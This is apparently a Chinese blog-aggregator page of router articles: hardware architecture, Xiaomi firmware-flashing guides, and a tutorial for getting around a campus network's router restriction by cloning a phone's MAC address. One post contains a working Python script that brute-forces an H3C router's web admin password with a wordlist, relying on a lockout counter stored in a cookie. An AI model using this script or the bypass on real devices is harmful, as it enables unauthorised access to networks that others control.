
- 协 议
- RIP路由协议、OSPF路由协议等
- 路由选择
- 静态路由和动态路由
- 别 名
- 网关设备
- 中文名
- 路由器
- 功 能
- 寻址
- 外文名
- Router
-
路由器
2019-01-22 09:43:54路由器: 路由器是与两个或以上的网络连接的计算机并按照在它的路由表中找到的信息发送数据包,实现数据的转发和路由,是一种网络互联的设备 典型路由结构: 主要包括两部分:路由部分和转发部分 路由器的报文处理...路由器:
路由器是与两个或以上的网络连接的计算机并按照在它的路由表中找到的信息发送数据包,实现数据的转发和路由,是一种网络互联的设备
典型路由结构:
主要包括两部分:路由部分和转发部分
路由器的报文处理主要有两种:
控制路径:处理目的地址是本路由器的高层协议报文,特别是各种路由协议报文。虽然控制路径不是路由器的关键路径,但是它负责完成路由信息的交互,从而保证了了数据路径上的报⽂文沿着最优的路径转发
数据路径:处理目的地址不是本路由器而需要转发的报⽂文,因此数据路径是整个路由器的关键路径,它直接影响路由器的整体性能路由器中有一张路由表和转发表:
路由表中记录各种路由信息,转发表根据路由表生成1.分组转发主要包括输⼊端口与目标转发、基于目标地的转发、输出端口对线路上收到分组的处理和分组丢弃几部分
2.交换结构是路由器的核⼼组件,是根据转发表对分组进行处理,将某个输入端口进入的分组从一个合适的输出端口转发出去。主要有通过存储器、通过总线、通过内部互连网络,三种方法路由器发展过程
第一代路由器:集中转发,总线交换
网关(路由器)用一台计算机插多块网络接口卡的方式来实现。接口卡与中央处理器(CPU)之间通过内部总线相连,CPU负责所有事务处理,包括路由收集、转发处理、设备管理等。网络接口收到报文后通过内部总线传递给CPU,由CPU完成所有处理后从另一个网络接口传递出去。
第二代路由器:集中+分布转发,接口模块化,总线交换等技术
少数常用的路由信息采用Cache技术保留在业务接口卡上,这样大多数报文就可以直接通过业务板Cache的路由表进行转发,以减少对总线和CPU的需求。
第三代路由器:分布转发,总线交换
采用全分布式结构—路由与转发分离的技术,主控板负责整个设备的管理和路由的收集、计算功能,并把计算形成的转发表下发到各业务板;各业务板根据保存的路由转发表能够独立进行路由转发。另外总线技术也得到了较大的发展,通过总线、业务板之间的数据转发完全独立于主控板,实现了并行高速处理,使得路由器的处理性能成倍提高。
第四代路由器:出现CAM和TCAM,ASIC分布转发,网络交换
提出了ASIC实现方式,它把转发过程的所有细节全部采用硬件方式来实现。另外在交换网上采用了Crossbar或共享内存的方式解决了内部交换的问题。这样,路由器的性能达到千兆比特,即早期的千兆交换式路由器(Gigabit Switch Router,GSR)。
第五代路由器:网络处理器分布转发,网络交换,全业务路由器(之前都为专用路由器)
出现NP芯片(可编程),可同时对很多业务处理做硬件加速。
-
小米路由器mini 刷潘多拉固件教程
2018-04-25 22:23:42自己的小米路由器mini想安装各种各样的插件,实现远程下载,免广告,SS,多拨各种各样的功能。但是自带的路由器固件不支持这些功能,只能自己动手刷个其他固件。具体刷机教程如下,楼主已经成功刷入固件,具体步骤见...自己的小米路由器mini想安装各种各样的插件,实现远程下载,免广告,SS,多拨各种各样的功能。但是自带的路由器固件不支持这些功能,只能自己动手刷个其他固件。具体刷机教程如下,楼主已经成功刷入固件,具体步骤见下。
参考刷机教程:http://www.miui.com/thread-6835406-1-1.html
一、升级到小米路由器mini版本的开发版本。
二、开通路由器的SSH功能。
获取SSH权限,在https://d.miwifi.com/rom/ssh处登录小米账号绑定路由器,获得root密码。下载工具包,得到 miwifi_ssh.bin ,复制到U盘(如果之前U盘里复制了 miwifi.bin ,务必删除)。路由器断电,将U盘插入,并用针压住复位孔,路由器上电,待指示灯变为黄色闪烁状态后松开复位,等待路由器安装和重启。之后可以使用PuTTY登录路由器,主机名称为 miwifi.com ,端口号为 22 ,用户名为 root ,密码为网站下载工具包处显示的密码。
三、刷不死固件Breed,下载小米路由mini对应版本(http://www.right.com.cn/forum/thread-161906-1-1.html)
刷Breed操作教程:https://jingyan.baidu.com/article/8275fc866b451046a03cf633.html
四,刷好Breed后,进入Breed的Web 刷机模式网页,再刷潘多拉等其他固件。
潘多拉的r1024,r1696版本,目前普遍认为是带多拨最稳定的!r1696版本可以说是一个神版本,可以说是潘多拉的顶峰!但是现在基本上找不到资源,潘多拉官网根本找不到r1696的版本,玩潘多拉系统的朋友们肯定知道这两个版本吧,同时我也会带稳定性十分不错的老毛子Padavan固件。下面会提供连接,刷机的时候选择最新的breed和需要的固件就行。
由于r1696资源很少!下面给个下载地址!
r1696版本:https://download.csdn.net/download/qing666888/10374548
PandoraBox官网固件:http://downloads.openwrt.org.cn/PandoraBox/Xiaomi-Mini-R1CM/
Padavan固件:https://opt.cn2qq.com/padavan/(推荐)
注意,刷机需一定动手能力操作,如刷机过程中遇砖等其他情况,本人概不负责!
-
[已实现]暴力破解路由器管理密码
2020-06-13 12:53:37搬新家以后,第一时间连上网络,登录路由器后台。博主租的房子是某平台的,网络是由平台提供的。和上次租房不同的地方在于,这次路由器后台管理密码居然和给的wifi连接密码不一样了,肯定是有人改过密码了!admin 等...自搬新家以后,第一时间连上网络,登录路由器后台。 博主租的房子是某平台的,网络是由平台提供的。和上次租房不同的地方在于,这次路由器后台管理密码居然和给的wifi连接密码不一样了,肯定是有人改过密码了!admin 等弱口令都试过了,全都不管用!对一个it技术人员来说,被人掌握网络生杀大权肯定是无法容忍的!
第一次测试的时候尝试用telnet登录路由器,发现密码已经被更改,无法登录,预料是跟web控制台密码一起改变的。
没有办法只能去研究web登录界面。
要暴力破解的话,我们需要用代码去构造http请求,因此我们要具备以下条件:
1.登录请求的地址是多少
2.请求格式是怎么样的
3.登录成功以后改如何判断
4.有没有对暴力破解做黑名单限制(有的话我们需要更改mac地址)
5.暴力破解的字典
话不多说赶紧去尝试
于是博主去尝试下登录失败以后,有密码错误的提示:
network如下,很明显的同步提交 。了解http的都知道同步表当提交表单data放在body里,以 [参数名]=[值]的形数存放到
这里我们构造请求的请求地址,参数都有了。
然后我们去判断一下怎么会弹出错误提示的:
因为是同步提交,其实本质上是对页面的跳转,很明显html内容就在response里面,
ctrl+f 一把找到了密码错误的JS ,可以看到 checkPsdFlag是关键checkPsdFlag='flase'。
弹出来的密码错误,在往上面看'true'==checkPsdFlag 是登录成功。
神奇的地方在于checkPsdFlag是resultInfo字符串截取出来的 。
那岂不是这个页面永远都是登录失败? 没错!
记得上面所说的么,这个是同步请求 。因此我怀疑 resultInfo是后台代码渲染出来的,
失败的时候是var resultInfo="false;0"; 成功的时候是var resultInfo="true;0";
证据在下面:当三次登录失败以后,再刷新这个页面:
所以登录成功的条件就是 返回的html里面存在 var resultInfo="true;0";
据我研究这个页面没有记录登录测试,连登录次数都是记录在cookie里的,算是比较幼稚的代码(。≖ˇェˇ≖。)
所以就犯不着修改物理地址去欺骗路由器了。直接暴力破解。
于是写了一段python代码[比较随意写的,只为了破解,就没特意封装 ( ᖛ ̫ ᖛ )ʃ)]
字典比较大,所以遍历文件的时候有个跳过多少行参数[这样今天破解不完 下次直接跳过上次已经读过的行继续往下破解就好了]
# -*- coding: utf-8 -*- import requests from itertools import islice import sys headers = { 'User-Agent':'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0', 'Cookie':'LOGINCOUNT=1; LOGIN_PSD_REM_FLAG=0; PSWMOBILEFLAG=true' } def post(passwd): data="psd="+passwd res = requests.post(url="http://192.168.124.1/router_password_mobile.asp" ,data=data,headers=headers) if('var resultInfo="true;0";' in res.text): return True else: return False def record(content): with open("E:/work/36.4GB-18_in_1.lst/passwd.txt", 'w') as file: file.write(content) def readDic(skip): linenum = skip - 1 with open("E:/work/36.4GB-18_in_1.lst/18_in_1.lst", 'r') as file: for line in islice(file,skip,None): linenum = linenum+1 line=line.replace('\n',"") res=post(line) print(str(linenum)+" "+line+" "+str(res), end="|") if(res): print("FOUND!") record("FOUND! "+str(linenum)+" "+line+" "+str(res)) break if(linenum%1000 == 0): record(str(linenum)+" "+line+" "+str(res)) if __name__ == "__main__": readDic(0)
其中record会每1000行记录下行号,在破译成功的时候记录正确的密码。字典的话需要网上自己去下载
然后就可以开始破解了:
记录着 行号 密码 结果
最后贴下路由器返回页面的源码ฅ•ﻌ•ฅ
<!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.0//EN" "http://www.wapforum.org/DTD/xhtml-mobile10.dtd"> <HTML><HEAD> <meta http-equiv="X-UA-Compatible" content="IE=EDGE"> <META http-equiv=Content-Type content="text/html; charset=gb2312"> <META HTTP-EQUIV=Pragma CONTENT=no-cache> <meta name="viewport" content="user-scalable=0" /> <meta name="viewport" content="width=device-width,initial-scale=1.0,maximum-scale=1.0,user-scalable=0" /> <title>H3C Magic R2+Pro千兆版 设备登录</TITLE> <LINK Rel="SHORTCUT ICON" href="favicon.ico" type="image/x-icon"> <LINK href=er_globe.css type=text/css rel=stylesheet> <SCRIPT src=icg_helpScript.js></SCRIPT> <SCRIPT language=JavaScript src=icg_utils.js></SCRIPT> <SCRIPT src=utils.js></SCRIPT> <script src=globalFunctions.js type=text/javascript></script> <script src=main.js type=text/javascript></script> <SCRIPT src=Scg_cookie.js></SCRIPT> <SCRIPT language=JavaScript> var sys_version = "R2+ProGV100R006L01"; var Product_Type = "R2+ProG"; var mac_addr = "78:2C:29:DF:91:86"; var lan_local_info='192.168.124.1;255.255.255.0;0;78:2C:29:DF:91:86'; var PRODUCT_FORUM_URL = "http://bbs.h3c.com"; var PRODUCT_APPLICATION_URL = "http://magic.h3c.com/rest/magic/getApp"; var bPwdIsSyncByAc = 0; var DefaultLoginflag = 0; var admin_same_flag = 0; var IsSupportPcWebOnly = 0; var tt = lan_local_info.split(";"); var ip_addr = tt[0]; var telnumber = "400 600 6363"; var user_level = 1; /*获取系统类型(PC or Mobile)*/ var isMobileSyetem = checkMobile(); var isAppleSystem = checkAndroidOrApp(); function wifi_init() { /*Begin: Added by y09312 of 2015-03-03*/ /*如果路由器登录页面只是一个子页面,则将其主页面切换为当前登录页面。*/ var parentPage = top.window.location.toString().replace(/.*\//,''); parentPage=parentPage.replace(/\?.*/,''); if(parentPage != cPage) { top.window.location = cPage; } /*End: Added by y09312 of 2015-03-03*/ document.getElementById("psd").value = ""; document.router_password_set.psd.focus(); } function onBodyLoad() { /*刷新登录页面或者提交失败时,清除cookie。*/ deleteCookie("USERLOGINIDFLAG"); deleteCookie("MAIN_FLAG"); deleteCookie("MOBILE_FLAG"); wifi_init(); var flag = getCookie("PSWMOBILEFLAG"); if("true" == flag) { var resultInfo="false;0"; var resultArray = resultInfo.split(";"); var checkPsdFlag = resultArray[0]; var sessionid = resultArray[1]; if ("true" == checkPsdFlag) { /*只有密码验证成功之后,才更新cookie。*/ addCookie("USERLOGINIDFLAG", sessionid); deleteCookie("LOGINCOUNT"); if (1 == IsSupportPcWebOnly) { GURL("home.asp"); } else { GURL("mobile.asp"); } return; } else if("false" == checkPsdFlag) { /*Begin Modified by y09312 2016-06-16, IDMS: 201606300144, of 解决Web登录用户超过限制时Webs进程挂死问题*/ if(1 == sessionid) { mobile_display_message("warningmsg", "访问用户个数超过最大限制。"); } else { var wrong_logincount = getCookie("LOGINCOUNT"); if ("3" == wrong_logincount) { deleteCookie("LOGINCOUNT"); GURL("wrong_login.asp"); } else { mobile_display_message("warningmsg", "密码错误,请重试。"); /*首次打开浏览器时,cookie值为空; 在IE中,空为undefined;在firefox中,空可直接判断;其余主流浏览器都在这两种情况内。*/ if (("" == wrong_logincount) || ("undefined" == typeof(wrong_logincount))) { addCookie("LOGINCOUNT", "1"); } else if ("1" == wrong_logincount) { addCookie("LOGINCOUNT", "2"); } else if ("2" == wrong_logincount) { addCookie("LOGINCOUNT", "3"); } } } /*End Modified by y09312 2016-06-16, IDMS: 201606300144, of 解决Web登录用户超过限制时Webs进程挂死问题*/ document.getElementById("psd").select(); } } /*根据屏幕分辨率,动态调整页面宽度和高度。*/ var screen_width = screen.availWidth; var screen_height = screen.availHeight; document.getElementById("formbackground").style.width = screen_width; document.getElementById("formbackground").style.height = screen_height; deleteCookie("PSWMOBILEFLAG"); deleteCookie("LOGIN_PSD_REM_FLAG"); return; } function mySubmit() { var sUserPass = document.getElementById("psd").value; document.getElementById("warningmsg").innerHTML=""; document.getElementById("warningmsg").height = 1; if (0 == sUserPass.length) { mobile_display_message("warningmsg", "请输入密码。"); document.getElementById("psd").focus(); return false; } if(document.getElementById("psd_en").checked == true) { addCookie("LOGIN_PSD_REM_FLAG", 1); } else { addCookie("LOGIN_PSD_REM_FLAG", 0); } addCookie("PSWMOBILEFLAG", "true"); document.router_password_set.submit(); return true; } function GURL(page) { window.location = page; } function link(item) { document.getElementById(item).href = PRODUCT_APPLICATION_URL; document.getElementById(item).target = "_blank"; } function mouseOn(item) { document.getElementById(item).style.textDecoration= 'underline'; } function mouseOut(item) { document.getElementById(item).style.textDecoration= 'none'; } function accept_it() { deleteCookie("LOGINCOUNT"); GURL("wrong_login.asp"); } </SCRIPT> </HEAD> <body bgcolor=#ffffff leftMargin=0 topMargin=0 MARGINWIDTH=0 MARGINHEIGHT=0 BORDER=0 onload=onBodyLoad()> <div id="formbackground" name="formbackground" style="position:absolute; z-index:-1;"> <SCRIPT language=JavaScript> if(true == isMobileSyetem) { document.write('<img id="bodyimg" name="bodyimg" src="bg_mobile2.jpg" height="100%" width="100%">'); } else { document.write('<img id="bodyimg" name="bodyimg" src="bg_pc2.jpg" height="100%" width="100%">'); } </SCRIPT> </div> <table id="firstTable" border=0 width="100%" height=60 style="background-color:#4670a9;"> <TR> <TD width=5%></TD> <TD width=25%> <div align=left><IMG id="go" name="go" src="h3c_logo.png" class=mobileH3cImg onclick="goto_H3C()"></div></TD> <TD width=40%></TD> <TD width=25%></TD> <TD width=5%></TD> </TR> </table> <FORM action="" method="POST" name=router_password_set> <TABLE cellSpacing=0 cellPadding=3 border=0 width=100%> <TBODY> <TR> <TD align=center height=20 colspan=3></TD> </TR> <TR> <TD width=10%></TD> <TD width=80% align=left height=40><span style="width:100%; height:30; text-align:left; color:#1e5094; font-family:Microsoft YaHei; font-size:16px;">管理密码</span></TD> <TD width=10%></TD> </TR> <TR> <TD align=center height=40 colspan=3> <INPUT type=password id="psd" name="psd" maxlength="63" style="width:80%;" class=mobileText onkeypress="onEnterSub_Firefox(event,mySubmit,user_level)" onpaste="return false;"> <input type=text style="display:none;"> </TD> </TR> <TR> <TD WIDTH=10%></TD> <TD WIDTH=80% align=left> <INPUT id="psd_en" name="psd_en" type=checkbox> <span style="height:30; text-align:left; color:#1e5094; font-family:Microsoft YaHei; font-size:13px;">记住密码</span> <span> </span> <span style="height:30; text-align:left; color:#33bcef; font-family:Microsoft YaHei; font-size:13px; cursor:pointer; text-decoration:underline;" onclick="accept_it();" >忘记密码?</span> </TD> <TD WIDTH=10%></TD> </TR> <SCRIPT language=JavaScript> if(1 == bPwdIsSyncByAc) { document.write('<TR class=textCell>'); document.write('<TD colspan=1 width="10%" align=left></TD>'); document.write('<TD colspan=1 width="80%" id="pass_message" name="pass_message" class=mobileNoticeTxt>') mobile_display_message_shuoming("pass_message", "当前管理密码与管理器的密码一致。"); document.write('</TD>'); document.write('<TD WIDTH=10%></TD>'); document.write('</TR>'); } else if(1 == DefaultLoginflag) { document.write('<TR class=textCell>'); document.write('<TD colspan=1 width="10%" align=left></TD>'); document.write('<TD colspan=1 width="80%" id="pass_message" name="pass_message" class=mobileNoticeTxt>') mobile_display_message_shuoming("pass_message", "当前为默认密码【admin】。"); document.write('</TD>'); document.write('<TD WIDTH=10%></TD>'); document.write('</TR>'); } else if(1 == admin_same_flag) { document.write('<TR class=textCell>'); document.write('<TD colspan=1 width="10%" align=left></TD>'); document.write('<TD colspan=1 width="80%" id="pass_message" name="pass_message" class=mobileNoticeTxt>') mobile_display_message_shuoming("pass_message", "当前管理密码与Wi-Fi密码一致。"); document.write('</TD>'); document.write('<TD WIDTH=10%></TD>'); document.write('</TR>'); } </SCRIPT> <TR> <TD WIDTH=10%></TD> <TD WIDTH=80% align=left class=mobileWarnningTxt id="warningmsg" name="warningmsg"></TD> <TD WIDTH=10%></TD> </TR> <TR><TD align=center height=10 colspan=3></TD></TR> <TR><TD align=center height=40 colspan=3> <input name="login" id="login" type=button style="WIDTH:80%; HEIGHT:45px;" class=mobileButton value="登录" onclick="mySubmit();"> </TD></TR> <TR><TD align=center colspan=3> <SCRIPT language=JavaScript> /*以下产品支持APP: B1、B1ST、F1、R2+、R2+pro*/ /*以下产品不支持APP: B0、B3、R100*/ /*在PC端需显示APP和微信的二维码图片,在移动端只需显示APP的链接*/ if (("B3" != Product_Type) && ("B0" != Product_Type) && ("R100" != Product_Type)) { /* Begin modify by w12167, 2016-1-4, IDMS:201601040185 */ if(true == isMobileSyetem) { if("" != PRODUCT_APPLICATION_URL) { document.write('<TR><TD height=100 align=center colspan=3 style="FONT-SIZE:16px; FONT-WEIGHT:bold; color:#1c4e92; FONT-FAMILY: "Microsoft YaHei" ! important;">'); document.write('<a id="APP_URL" name="APP_URL" style="text-decoration:underline;cursor:pointer; FONT-SIZE:16px; FONT-WEIGHT:bold; color:#1c4e92; FONT-FAMILY: "Microsoft YaHei" ! important;" onclick="link(\'APP_URL\');">点击下载华三魔术家APP</a>'); document.write('</TD></TR>'); } } /* End modify by w12167, 2015-1-4, IDMS:201601040185 */ else { /* Begin modify by w12167,2-15-12-10.IDMS:201511250468 */ /* Begin modify by jiangjiguang 11967, 2015-8-19, IDMS 201508190089 */ //如果是PC,则推送二维码。 document.write('<TR><TD colspan=3> </TD></TR>'); document.write('<TR><TD align=center colspan=3>'); if ("A210-G" != Product_Type) { document.write('<a><img src="magic_app.jpg" border="0" style="height:236px; width:200px;"></a>'); document.write('<label> </label>'); } document.write('<a><img src="weixin.jpg" border="0" style="height:236px; width:200px;"></a>'); document.write('</TD></TR>'); /* End modify by jiangjiguang 11967, 2015-8-19, IDMS 201508190089 */ /* End modify by w12167,2-15-12-10.IDMS:201511250468 */ } } else { /* Begin modify by w12167, 2016-1-4, IDMS:201601040185 */ if(true == isMobileSyetem) { ; } /* End modify by w12167, 2015-1-4, IDMS:201601040185 */ else { /* Begin modify by w12167, 2015-12-11, IDMS:201511250468 */ /* Begin modify by jiangjiguang 11967, 2015-8-19, IDMS 201508190089 */ //如果是PC,则推送二维码。 document.write('<TR><TD colspan=3> </TD></TR>'); document.write('<TR><TD align=center colspan=3>'); document.write('<a><img src="weixin.jpg" border="0" style="height:236px; width:200px;"></a>'); document.write('</TD></TR>'); /* End modify by jiangjiguang 11967, 2015-8-19, IDMS 201508190089 */ /* End modify by w12167, 2015-12-11, IDMS:201511250468 */ } } </SCRIPT> </TD></TR> </TBODY> </TABLE> </FORM> </BODY> </HTML>
-
飞Young任意路由器连接[破解路由器限制]
2019-06-13 21:24:18飞Young任意路由器连接[破解路由器限制]看完以上还不会的,看下面。 以下是手动教程 首先你需要准备网线、路由器、一部手机 路由器选择廉价的即可,没必要太贵,宿舍电脑插网线网速是100M,wifi也就手机用...飞Young任意路由器连接[破解路由器限制]
以下是手动教程
写过一个软件,看另外一篇文章软件自动。-
首先你需要准备网线、路由器、一部手机 路由器选择廉价的即可,没必要太贵,宿舍电脑插网线网速是100M,wifi也就手机用
-
第一步先配置好路由器,wifi,打开上网设置 修改上网设置为自动获取IP,下面的内容出现数据即成功!
-
关闭DHCP地址,后面修改完 有网之后 后在打开,(手机需要连接路由器wifi认证上网,分配IP用的,关闭之后才可分配正常IP认证,路由器有网之后打开,不然你设备连接路由器会没网络)
-
第二步修改Mac地址,查看手机的Mac地址,在路由器上面设置自定义Mac地址,把手机的MAC地址填写在路由器上面,不会看手机Mac地址的,往下看。
-
不会查看手机Mac地址的,用手机连接路由器WIFI,然后在连接的设备中可以查看设备Mac地址
-
修改完毕后,打开上网设置页面做准备,
-
在路由器上面把WAN口的网线插入任意LAN口,这步很重要!
-
如图,把WAN口黄色的线接入LAN口
-
然后手机设备连接路由器的WIFI,记住是路由器的WIFI。这个时候DHCP就用的上了。
-
如图连接成功后,打开手机的客户端认证
->认证成功后,去查看wifi的信息
如图,我的是直接连接的,已经弄好的,分配的IP就是192 你们认证成功分配的IP是100.
然后修改路由器的上网设置
IP地址,这些都很手机的填写一样,点击保存,然后把WAN的网线从LAN口插回WAN口,所有步骤完成以后,你的路由器已经成功连接到网络,打开百度查看是不是有网。
这个时候可以打开DHCP了!
-
-
闲置小U盘变身最强大路由器-U盘路由器
2011-12-05 20:16:37U盘路由器 闲置小U盘变身最强大路由器 -
路由器工作原理
2019-02-05 15:00:34定义 路由器(router)是互联网的枢纽,是连接英特网中各局域网、广域网的设备,它会根据信道的情况自动选择和设定路由,以最佳路径...转发:路由器数据层面的工作,将路由器输入端的数据包移送至适当的路由器输出端... -
闲置路由器做无线打印服务器
2017-09-08 13:54:17用闲置的路由器做打印服务器 挺超值,还能享受diy的乐趣! 欢迎关注我的小店htp://7578418.taobao.com 正文开始,以下是实践操作! 以南天pr2e 打印机为例 家里都有在用的无线路由器吧!.... 首先得有个闲置带USB版... -
路由器 接 交换机 接 路由器
2021-01-07 00:29:10路由器 接 交换机 接 路由器 author:axin QQ:1977494112 两台路由器分别称为 主路由器、从路由器 接线方法:(注意!从路由配置完成后再接网线,否则可能IP冲突) 中间有交换机 光猫LAN接主路由WAN 主路由... -
路由器分为以太网路由器和什么路由器?
2019-06-18 21:50:04按网络类型分为以太网路由器,FR路由器,ATM路由器,令牌环网路由器. 按性能档次分为高、中、低档路由器。 按结构分为“模块化路由器”和“非模块化路由器”。 按功能分为“骨干级路由器”,“企业级路由器”和“接... -
路由器WiFi天线拆机详解-路由器天线原理
2019-10-30 16:02:41(本文已经同步到公众号。...本文主要从射频微波、天线行业等专业角度,对一些路由器的各种天线进行拆机分析,然后从天线原理角度对路由器WiFi天线进行深入分析。 2.常见的路由器WiFi天线 (2-1)2.4GHz 螺旋... -
一、玩转小米路由器mini之刷openwrt固件
2018-08-26 21:16:01恶势力"低头,于是乎,搞事情啊... 所需设备: 电脑一台: 安卓手机一部:装小米无线APP U盘:大于4G ...小米路由器mini(一下用mini代替)需要开启SSH功能(参考: http://jingyan.baidu.com/artic... -
路由器登陆密码破解工具-针对TP、腾达等路由器
2011-07-01 10:29:37一款针对于路由器破解的工具,是针对于穷举的方法,也可用于网站的后台进行猜解破解! -
千兆路由器和百兆路由器
2019-06-26 22:44:37旨在通过此文章给大家分享千兆和百兆路由器的差异,使得大家更方便的选择路由器设备。 -
路由器配置
2019-01-11 18:57:30为了改善公司的网络配置问题,希望通过此文档的输出,方便同事配置路由器。 1.2 需要工具 路由器:连接公司局域网的硬件。 电脑:配置路由器和WiFi相关信息。 网线:连接路由器和个人电脑。 二、操作步骤 2.1... -
路由器详解
2019-01-18 21:52:28路由器:提供路由与转发两种重要机制的三层网络节点设备 功能:路由 :定数据包从来源端到⽬的端所经过的路由路径(host到host之间的最佳传输 路径),这个过程称为路由 转发:将路由器输⼊端的数据包移送⾄适当的... -
新路由器与老路由器之间的无线桥接
2020-04-30 18:21:47新路由器与老路由器之间的无线桥接 首先说明我是新路由器是主路由,老路由器是副路由,进行无线桥接。 -
避免DHCP冲突的主路由器和分路由器的连接方式
2018-09-05 11:24:21而邻居小红有多个设备需要上网,她在自己家中又接了一个家庭路由器,通过LAN口与小明家的路由器相连接。小红家的路由器动态分配的IP地址与小明家的路由器动态分配的IP地址是属于不同网络的,因此会导致两家的电脑... -
企业路由器和办公室局域网无线路由器设置
2019-11-05 14:32:28企业路由器和局域网无线路由器设置企业路由器设置WAN设置LAN设置局域网无线路由器(办公室wifi)设置 企业路由器设置 首先,将电脑连接到路由器,然后登陆路由器的界面,路由器上面一般都会有写明IP地址,例如192.... -
家用千兆路由器排行榜前十名_路由器哪个牌子好?千兆路由器2019排行
2020-12-29 06:11:46现在网络宽带已经进入千兆时代,几乎很多的宽带已经免费升级到了100M以上,所以之前的百兆无线路由器已经有点落伍了,市面上也出现了很多的入门级的千兆无线路由器,区别就是如果你家的宽带在100M以内,比如80M,50M... -
小米路由器3潘多拉固件刷机教程
2019-03-14 23:38:00小米路由器的官方固件优化不够好,很多人都出现限速、断流的现象。我之前也出现过限速的情况,最后没办法只能设置路由器定时重启。前几天突发奇想把定时重启关了,发现路由器居然连着好几天都没啥问题,我以为从此... -
利用群晖搭建LEDE路由器,旁路由器
2019-10-19 15:32:34首先如果你使用的群晖只有一个网口的话,那么搭建出来的路由器是一个旁路由器,也就是说与你本身的路由器不冲突,DHCP还是使用原先的路由器进行管理,通过修改网关可以让你需要连接群晖路由服务的设备连接,或者在... -
吉大路由器
2017-12-15 22:16:35首先声明下:刷机有风险,若刷机过程中由于操作错误而出现的问题与本人无关,这款路由器如果按照我以下的教程来做,成本0元近期出现低价卖路由器的人,他们以路由器成本价卖,然后让你注册联璧金融的活动,建议大家... -
双路由器设置,双路由器上网设置
2018-07-19 16:54:40问:双路由器上网应该怎么连接和设置?一个路由器往往不能够满足使用需求,需要增加一个路由器,组成双路由器上网。 第一个路由器按照说明书设置可以正常上网,但是第二个路由器按照常规的设置,却不能够实现... -
路由器与交换机的区别与联系
2017-10-21 19:10:49相信有很多人在学习网络的过程中,都会对路由器与交换机的区别与联系感到疑惑不解,因为这两台设备的功能看起来似乎一样。然而,其实路由器与交换机大有不同,下面是我对此的一些理解,希望能够帮助到你!它们在哪里... -
华为路由器、交换机配置命令
2018-12-29 21:38:41华为路由器交换机配置命令是大家使用时经常遇到的,顾名思义关于交换机的计算机命令,路由器命令,交换机命令和动静态命令都将在文中提到。 史上最全华为路由器交换机配置命令大合集,熟练掌握下面的华为路由器... -
多卡聚合路由器和普通路由器的区别
2020-02-26 15:04:34路由器(Router),是连接因特网中各局域网、广域网的设备,路由器(Router)又称网关设备(Gateway)是用于连接多个逻辑上分开的网络,所谓逻辑网络是代表一个单独的网络或者一个子网。当数据从一个子网传输到另一... -
路由器刷固件
2018-05-27 21:35:14一直以来就有很多朋友问我,路由器要怎么刷固件,什么路由器才能刷,怎么刷? 就以上问题,我今天给大家做出一一详解。 首先,什么路由器可以刷固件 在这里,我最推荐的是网件和华硕的路由器,刷梅林固件,效果...
-
西工大noj(21,22)
-
MySQL 多实例安装 及配置主从复制实验环境
-
MySQL Router 实现高可用、负载均衡、读写分离
-
Liunx 优化思路与实操步骤
-
网页bug测不出来?不知道的还
-
基于SpringBoot+MyBatis的电影购票系统
-
社交运营数据挖掘.ppt
-
fluxweb结合Swagger出现的问题
-
2021-02-28
-
2021-02-28
-
2021年 系统架构设计师 系列课
-
[源码] Meidapipe框架分析——Packet
-
基于Qt的LibVLC开发教程
-
注册公司名字大全集 注册公司用什么名字好?
-
MySQL 备份与恢复详解(高低版本 迁移;不同字符集 相互转换;表
-
开学倒计时的一周
-
项目管理工具与方法
-
神奇的PR——商用公关手册.zip
-
微信支付 api v3 支付通知 异步 验签失败 PHP
-
零基础极简以太坊智能合约开发环境搭建并开发部署